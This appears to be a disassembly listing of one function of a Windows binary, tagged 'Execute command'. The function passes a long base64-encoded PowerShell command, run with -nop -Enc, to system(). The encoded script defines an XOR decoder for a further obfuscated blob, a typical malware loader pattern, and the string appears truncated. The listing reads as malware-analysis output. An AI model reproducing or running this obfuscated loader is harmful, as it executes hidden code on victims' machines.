Function at 0x140001450
Capabilities:
Execute command

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
call dbg.__main
lea rax, str.powershell.exe__nop__Enc_ZgB1AG4AYwB0AGkAbwBuACAAZABpAGYAYQByAGkAbgBhACAAewAgAHAAYQByAGEAbQAgACgAWwBzAHQAcgBpAG4AZwBdACQAZABhAHQAYQAsACAAWwBzAHQAcgBpAG4AZwBdACQAawBlAHkAKQAgACQAaQBuAGQAcgBhACAAPQAgACIAIgA7ACAAZgBvAHIAIAAoACQAaQAgAD0AIAAwADsAIAAkAGkAIAAtAGwAdAAgACQAZABhAHQAYQAuAEwAZQBuAGcAdABoADsAIAAkAGkAKwArACkAIAB7ACAAJABpAG4AZAByAGEAIAArAD0AIABbAGMAaABhAHIAXQAoACQAZABhAHQAYQBbACQAaQBdACAALQBiAHgAbwByACAAJABrAGUAeQBbACQAaQAgACUAIAAkAGsAZQB5AC4ATABlAG4AZwB0AGgAXQApACAAfQAgAHIAZQB0AHUAcgBuACAAJABpAG4AZAByAGEAIAB9ADsAIAAkAGEAZABlAGwAbABhACAAPQAgACIAUwBnAEEAYwBBAEIAdwBBAFQAQQBCAFQAQQBFAFUAQQBVAHcAQgBmAEEARQBJAEEAWABnAEIAQwBBAEYAOABBAFUAdwBCAGEAQQBGAFkAQQBXAHcAQgBkAEEARQBzAEEAWgBBAEIAQgBBAEEAUQBBAEEAUQBBAEgAQQBCAGcAQQBUAEEAQgBUAEEARQBVAEEAUQBBAEIAYQBBAEUARQBBAFgAdwBCAG0AQQBFAG8AQQBCAGcAQQBZAEEAQQBjAEEARQBBAEEAQwBBAEIAZwBBAFQAZwBCAFkAQQBGAFEAQQBJAEEAQQBRAEEAQgBzAEEAUQBRAEEAaABBAEEAYwBBAEgAZwBBAEwAQQBCAFkAQQBHAEEAQgBNAEEARAAwAEEASABBAEEASABBAEIAbwBBAEUAQQBBAEIAQQBFAEkAQQBJAEEAQQBBAEEAQQBBAEEAUQBBAEEAbQBBAEEATQBBAEQAdwBBAEYAQQBBAEEAQQBBAEEAQQBkAEEARgBzAEEATwBBAEEAdgBBAEQANABBAEoAZwBBAFkAQQBBAGMAQQBFAEEAQQBDAEEAQgBnAEEAUgBnAEIAQgBBAEIAMABBAEgAZwBCAFoAQQBFAHcAQQBTAEEAQQBlAEEAQQBvAEEAQgBnAEEAYQBBAEYAdwBBAFoAZwBCAEkAQQBCADAAQQBFAFEAQQBHAEEAQQBzAEEARgBBAEEAQgBBAEUAdwBBAFUAdwBCAEYAQQBGAEEAQQBEAFEAQQBaAEEAQQBVAEEAQwBRAEEAQQBBAEIARQBBAFcAZwBBAHAAQQBCAEEAQQBHAEEAQQAvAEEAQgBvAEEARgB3AEEAUgBBAEEAOABBAEcAQQBCAEUAQQBFAFUAQQBaAEEAQgBCAEEAQQBNAEEASABBAEEAYwBBAEIAZwBBAEMAUQBBAGMAQQBFAFUAQQBTAFEAQgBPAEEARABzAEEAQwBRAEEAYgBBAEUATQBBAEsAZwBBAFcAQQBBAFEAQQBFAEEAQQBQAEEAQgBnAEEAVABnAEEAMgBBAEEAMABBAEgAUQBBAEIAQQBBAGsAQQBBAFEAQgBBAEEAQwB3AEEATwB3AEIAQQBBAEMAWQBBAEcAQQBBAGUAQQBBAHMAQQBCAEEAQQBaAEEARABrAEEAQgB3AEEARgBBAEIAZwBBAEMAdwBBAFgAQQBGAHcAQQBTAGcAQQBHAEEAQgBnAEEASABnAEEATABBAEEAUQBBAEcAUQBCAEgAQQBIADgAQQBTAEEAQQBlAEEAQQBzAEEAQgBBAEEAUQBBAEEAcwBBAEIAdwBCAE0AQQBGAEUAQQBUAGcAQQByAEEAQgBFAEEARwBRAEIAWQBBAEMATQBBAEQAZwBBAEUAQQBBAEEAQQBGAHcAQQBhAEEARgBVAEEAUAB3AEEAVgBBAEIAMABBAEUAUQBBAFIAQQBBAE0AQQBXAHcAQQBsAEEAQwBNAEEAUQBBAEEAMgBBAEEAQQBBAEgAQQBBAFEAQQBBADAAQQBBAFEAQQA4AEEAQQBBAEEARgBRAEEASwBBAEIAQQBBAEgAZwBCAEUAQQBFAG8AQQBGAGcAQQBBAEEAQgB3AEEARQBBAEEATgBBAEEARQBBAFIAdwBCAHYAQQBGAEEAQQBHAFEAQQBIAEEAQQBVAEEARwBBAEEATABBAEIAYwBBAFcAZwBBAHYAQQBBAEEAQQBHAEEAQQBEAEEAQwBnAEEAQwBRAEEAQgBBAEIAMABBAEgAUQBCAE0AQQBGAEUAQQBUAGcAQgBCAEEAQQBBAEEASABBAEEAQQBBAEEAawBBAFoAZwBCAGsAQQBCAEkAQQBIAEEAQQBIAEEAQgBrAEEAQwBRAEIATQBBAEUAWQBBAFEAUQBBAFgAQQBBAEkAQQBIAEEAQQBKAEEAQQBJAEEARwBnAEIATABBAEQAYwBBAEEAUQBBAGIAQQBBAEkAQQBDAFEAQQBOAEEAQgBFAEEARQBRAEEASwBBAEYAdwBBAFQAQQBBAFgAQQBHAFEAQQBSAFEAQgBVAEEARQA0AEEAVgBRAEIASQBBAEEAOABBAEEAdwBBAEIAQQBGAFEAQQBVAHcAQgBWAEEARQBnAEEASABnAEEATABBAEEAUQBBAEUAQQBBAEwAQQBBAGMAQQBRAGcAQQArAEEAQQBzAEEAQgBBAEEAUQBBAEMASQBBAEgAQQBBAEMAQQBBAGsAQQBSAGcAQgBNAEEASAA0AEEAVABnAEIAVgBBAEUAdwBBAFQAQQBBAEgAQQBBAE0AQQBWAEEAQgBHAEEARgBFAEEARAB3AEEAQgBBAEEAbwBBAFIAUQBCAFoAQQBBAHMAQQBCAEEAQgBNAEEARQA0AEEAQwB3AEEAZABBAEIAMABBAEcAZwBCAFgAQQBFAFUAQQBUAEEAQQBWAEEARQBVAEEARgBnAEEAYwBBAEIAQQBBAEQAUQBBAEgAQQBFADQAQQBHAEEAQgArAEEARQA0AEEAVgBRAEIATQBBAEUAdwBBAEcAZwBBAFgAQQBBADAAQQBUAGcAQQBPAEEARwBZAEEAVABBAEIATwBBAEUAVQBBAFYAQQBCAE8AQQBGAFUAQQBUAEEAQgBNAEEARQBvAEEARgB3AEEAUgBBAEIAMABBAEEAQQBBAEEAQQBCAGcAQQBUAGcAQgBZAEEARgBRAEEASgB3AEEAYgBBAEIAbwBBAEEAdwBBAEYAQQBBAEEAQQBXAFEAQQByAEEAQQAwAEEASABBAEEAZQBBAEEAcwBBAEYAZwBBAEgAQQBBAGMAQQBHAGcAQQBDAEEARQB3AEEAUwBnAEEARwBBAEIAawBBAEMAZwBCAFYAQQBGADQAQQBVAGcAQgBJAEEARgBRAEEAZgBnAEIATwBBAEYAVQBBAFQAQQBCAE0AQQBFADQAQQBSAFEAQgBVAEEARQA0AEEASABBAEEASwBBAEUAdwBBAFIAZwBCAEIAQQBBAFkAQQBDAHcAQQBHAEEAQgBrAEEAQQBBAEEAYQBBAEUAVQBBAFcAUQBBAEgAQQBBAFkAQQBUAEEAQQAzAEEAQQA4AEEARgB3AEEARwBBAEEAOABBAEQAQQBBAHgAQQBFAFUAQQBUAGcAQQBlAEEASAA0AEEAVABnAEIAVgBBAEUAdwBBAFQAQQBCAE8AQQBFAFUAQQBWAEEAQgBPAEEARgBVAEEAVABBAEIATQBBAEUANABBAFEAUQBBAEcAQQBBAHMAQQBCAGcAQQBaAEEAQQBBAEEARwBnAEIARgBBAEUAawBBAFQAZwBCAFIAQQBCADQAQQBDAFEAQQBkAEEAQgBBAEEARwBBAEEAYQBBAEYAVQBBAEUAQQBCAE0AQQBDAEUAQQBFAEEAQQBBAEEARQBNAEEASgBnAEEAWQBBAEIANABBAEIAdwBBAEwAQQBCAE0AQQBaAEEAQgBWAEEARQB3AEEAVABBAEIATwBBAEUAVQBBAFYAQQBCAE8AQQBGAFUAQQBFAFEAQgBtAEEARQA0AEEAUgBRAEIAVQBBAEUANABBAEM
mov rcx, rax
call sym.system
mov dword [rbp - 4], eax
mov eax, 0
add rsp, 0x30
pop rbp
ret